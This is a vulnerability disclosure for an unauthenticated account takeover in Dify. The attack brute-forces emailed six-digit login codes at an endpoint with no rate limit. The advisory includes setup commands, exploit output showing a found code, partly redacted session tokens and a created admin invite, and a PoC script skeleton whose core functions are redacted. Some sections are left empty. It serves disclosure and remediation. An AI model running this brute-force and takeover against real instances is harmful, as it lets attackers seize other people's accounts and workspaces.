CVE-2026-52354: Unauthenticated account takeover via email-code brute-force

CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Tested software:

Responsible Disclosure Timeline: 90 days from first contact, if there is no response or communicated planned fix.

Timeline:

Summary

An attacker can take-over any account registered at a dify instance. The only requirement is the knowledge of the email address or username of the target account.

This is possible because there is no rate limiting implemented at the endpoint /console/api/email-code-login/validity, which validates the code sent via email for the login.

Details

The appended exploit does the following steps:

The success rate of a single try on my local machine was ~8%. For testing the success rate:

The takeover of an account takes 65 minutes on average. The attack may be parallelized to attack multiple accounts at the same time from the same originating IP address.

PoC

The application was setup locally with docker-compose in the Community Edition, as described in the following section. While the feature “Login with email code” is officially limited to the Enterprise Edition, the API endpoints used for this feature are also available in the Community Editon. The versions 1.14.1 and 1.15.0 have been tested.

Test environment setup

The test environment was setup on a Ubuntu Linux workstation with the following commands:

git clone --branch "$(curl -s https://api.github.com/repos/langgenius/dify/releases/latest | jq -r .tag_name)" https://github.com/langgenius/dify.git
cd dify/docker
cp .env.example .env
docker compose up -d
# go to http://localhost/install and create a new admin/owner user

Exploit

The account takeover was tested locally with the following command:

python3 ./auth_exploit.py

The following command output shows the successful attack:

Dify  account take-over exploit
######### Email code attack attempt #0 #########
Received token for email code: fadd5984-1f70-4ebb-b6d7-7ca633d6f242
Try to brute force the correct code for 5 minutes...

***Status: NO SUCCESS - TIMEOUT: 300 seconds elapsed ***

######### Email code attack attempt #1 #########
Received token for email code: b85b443e-70c9-4538-9cbf-4c688c702cb4
Try to brute force the correct code for 5 minutes...

***Status: NO SUCCESS - TIMEOUT: 300 seconds elapsed ***

######### Email code attack attempt #2 #########
Received token for email code: c71e777c-851f-4236-a5c1-0460f125c35d
Try to brute force the correct code for 5 minutes...
Brute Force attack success!
Found code: 019602
{'result': 'success'}
================================================================================
HEADERS
================================================================================
Server: nginx/1.29.8
Date: Mon, 11 May 2026 11:33:02 GMT
Content-Type: application/json
Content-Length: 20
Connection: keep-alive
Set-Cookie: csrf_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.ey[REDACTED]J9.QeclwOJC9lrMf-TF9f5AOfUgIg_pKUaoYGKWYTWXs6Y; Expires=Mon, 11 May 2026 12:33:02 GMT; Max-Age=3600; Path=/; SameSite=Lax, access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.ey[REDACTED]In0.l5Bx7-ka15psaxG021n8w6Bws6tMifM59IZVZHEUYeg; Expires=Mon, 11 May 2026 12:33:02 GMT; Max-Age=3600; HttpOnly; Path=/; SameSite=Lax, refresh_token=5e[REDACTED]84a; Expires=Wed, 10 Jun 2026 11:33:02 GMT; Max-Age=2592000; HttpOnly; Path=/; SameSite=Lax
X-Version: 1.14.0
X-Env: PRODUCTION
Vary: Cookie

================================================================================
COOKIES
================================================================================
csrf_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ[REDACTED]MSJ9.QeclwOJC9lrMf-TF9f5AOfUgIg_pKUaoYGKWYTWXs6Y
access_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.ey[REDACTED]0.l5Bx7-ka15psaxG021n8w6Bws6tMifM59IZVZHEUYeg
refresh_token: 5ed[REDACTED]484a

Create new admin invite:
Created Admin invite URL: http://dify.local/activate?email=test%40dify.local&token=fe31d180-7fc0-40af-833f-f5ba2ba7c20b
Tenant-ID of Target: 4982511b-bb5b-4baf-84c0-4fe8234c756a
[...]

The created invite link was then opened in the browser and the new user with role admin was set up with a password.

Proof of concept Exploit code

import requests
import json
import base64
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from queue import Queue
import time
from threading import Lock, Event



# trigger sending email code and get token
# returns dict(cookies), token
def get_token(url: str, email: str):
    # .... REDACTED ........
    

def check_code_validity_worker(queue, stop_event, url: str, cookies, email: str, token: str, invite_email):
    # .... REDACTED ........


def brute_force_code(url: str, cookies, email: str, token: str, invite_email, num_threads=5):
    """Iterate through all 6-digit codes using range"""
    # ..... REDACTED ......


def invite_new_admin(url: str, cookies, invite_email: str):
    # .... REDACTED ........


# Set the following parameters
url = "http://dify.local"
email = "owner@dify.local"
invite_email = "test@dify.local"
number_of_threads = 5

print("Dify 1.14.0 account take-over exploit")


i = 0
while i < 144:
    print("######### Email code attack attempt #" + str(i) + " #########")
    cookies, token = get_token(url, email)
    print("Try to brute force the correct code for 5 minutes...")
    brute_force_code(url, cookies, email, token, invite_email, num_threads=number_of_threads)

    i += 1

Impact

The vulnerability allows to take ownership of any account and workspace, if the email-address or username is known. All self-hosted Community Edition instances are vulnerable. Enterprise Edition was not tested, because I don’t have access to an enterprise instance.

Proposed Fix

Add IP-based Rate-Limiting to the endpoint and invalidate the token after a wrong code is entered.